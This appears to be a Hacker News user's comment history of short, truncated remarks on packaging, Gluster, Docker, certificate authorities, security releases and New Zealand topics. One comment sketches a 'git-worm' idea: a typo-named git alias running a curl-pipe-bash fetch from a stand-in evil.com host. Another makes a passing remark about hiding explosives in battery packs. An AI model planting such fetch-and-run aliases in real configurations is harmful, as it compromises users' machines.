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by amatix 11y ago
we use fpm & something like dh-virtualenv along exactly those lines. Helps us manage a complex mix of native/system-level dependencies (non-python) as well as python packages. We also incorporate a set of meta packages which means
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by amatix 12y ago
This approach has some massive downsides - the session ID is sent via Referer to outbound links, URLs are logged all over the place (including browser histories), it's easy for people to publicly share it without thinking which then en
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by amatix 12y ago
We hire freelancers who are experts in particular projects to fix bugs, add features we need, etc. Some of those are on a "retainer" basis (eg. $8000 for 80 hours work on an OSS project for us during a year where we can "cons
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by amatix 12y ago
The $184K is net profit, so each employee's salary is already counted. Another way of thinking about it: every Apple employee can get a $180K salary increase and they'd still make money.
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by amatix 12y ago
Git-worm concept: * create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git command
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by amatix 12y ago
An article by Ted Chiang: The Truth of Fact, the Truth of Feeling -- talks about some of these issues from a couple of different & interesting perspectives which I found really intriguing. One of which being a thought exercise about wha
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by amatix 12y ago
Does it deal with the case of SaaS apps for customer domains? Eg. Customer example.com rocks up to my SaaS app and wants to use myapp.example.com - currently creating
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by amatix 12y ago
Or if you're even a wee bit sophisticated, get a smaller battery pack that'll last for 15 minutes and pack your explosives into the remaining 90% of battery space? How does the TSA not think of these blindingly obvious things?
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by amatix 12y ago
Another in New Zealand, near Wanaka in the South Island: https://goo.gl/maps/ehUzh - there are some photos in the GMaps gallery too. It's a nice boat trip from Wanaka and a 15 minute walk up the hill.
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by amatix 12y ago
Both. Most common, SewerCo says "pay for half of our digging costs" and FibreCo says "You're getting paid by the city to dig it up already! Why should we pay again?"and round and round we go. Also, if either SewerCo
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by amatix 12y ago
Has anyone measured the impact of routing traffic through an ambassador-style docker container (client A -> ambassador B -> server C), compared with just using etcd/confd to tell A to talk to C, and update A whenever the locatio
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by amatix 12y ago
RedHat seem to be investing a lot of (needed) effort and resources into it and it's certainly being actively improved. The RH "product" version of Gluster is the RedHat Storage Server: http://www.redhat.com/pr
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by amatix 12y ago
We run it in some 2-node configurations with 4-6 bricks/node (Gluster is configured as distribute+replicate). Replacing disks isn't a big deal, there's a replace-brick command which migrates the data away from a brick to a ne
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by amatix 12y ago
Genuinely curious, why would USAF (or anyone) need vertical integration?
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Django security releases issued(djangoproject.com)
9 points by amatix 12y ago|0 comments
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by amatix 13y ago
I put the CVE id in my "reason" and it went through with no charge.
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by amatix 13y ago
For Google Drive, inSync works well on Linux: https://www.insynchq.com/linux (and supports multiple accounts which GDruve doesn't support on any platform)
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by amatix 13y ago
http://www.backofanapkin.co.nz/ provides some talking points (and an agreement if you want it) that you need to decide on upfront - even if you're going to incorporate later on.
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AWS Elastic Load Balancing adds Perfect Forward Secrecy(aws.typepad.com)
2 points by amatix 13y ago|0 comments
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by amatix 13y ago
https://www.backupify.com/ do this for Google Apps - works pretty well.
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by amatix 13y ago
http://glui.me/ has been good for me - I use it to save/share via Dropbox, but it supports a bunch of services. Does one thing well and gets out of the way :)
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by amatix 13y ago
Some important context from the OpenSSL list last week ( http://marc.info/?l=openssl-announce&m=138747119822324&w=2 ): Why did we implement Dual EC DRBG in the first place? - -----------------------------------
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by amatix 13y ago
> For example, a common idea is to introduce iron to the ocean. This would increase plankton populations, and the plankton would then use solar power to remove CO2. I'm wary this leads to a "and now you have TWO problems&quot
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by amatix 13y ago
Similarly in New Zealand, the highways agency isn't interested in catching people who are speeding. They certainly help the police with live incidents and co-operate on lots of levels, but they don't keep camera footage forever or
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by amatix 13y ago
There are several governments (Spain, France, Netherlands, Japan) who publicly have Root CAs in the trusted browser list[1]. It seems pretty likely (cf say, Prism) that the NSA has a CA cert where they can generate whatever certificates the
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by amatix 13y ago
You can bash, as long as it's factual: "X is more expensive, has a lower resolution, smaller area display, shorter battery life, and is heavier than Y. Buy Y!". They're all facts. But you can't say (in the rest of the world outside the US a
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by amatix 13y ago
> To a techie, this behavior looks mildly crazy, but it seems to work. Problem is that the numbers are mostly meaningless, and are becoming ever more so. People don't buy cars based on the type of brakes, the size of the oil sump, or ev
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by amatix 13y ago
> This type of advertising is only permitted when it is not misleading Maybe you missed a bit? It's perfectly legal, you just need to be 100% factual, and if you're not you'll get taken to the cleaners in court. So people are suitably w
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by amatix 13y ago
There's no problem putting it into a support ticket system - that's how issues get tracked and Alice going on holiday means things get followed up. But anything security related should be escalated immediately, skipping the typical CS level
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by amatix 13y ago
In New Zealand it's certainly been worse - chip transactions consistently take 30+ seconds longer than swipe ones (ie. at least twice as long as the old way, just waiting around for the damn card reader) Though the new Visa PayWave/MC Pay

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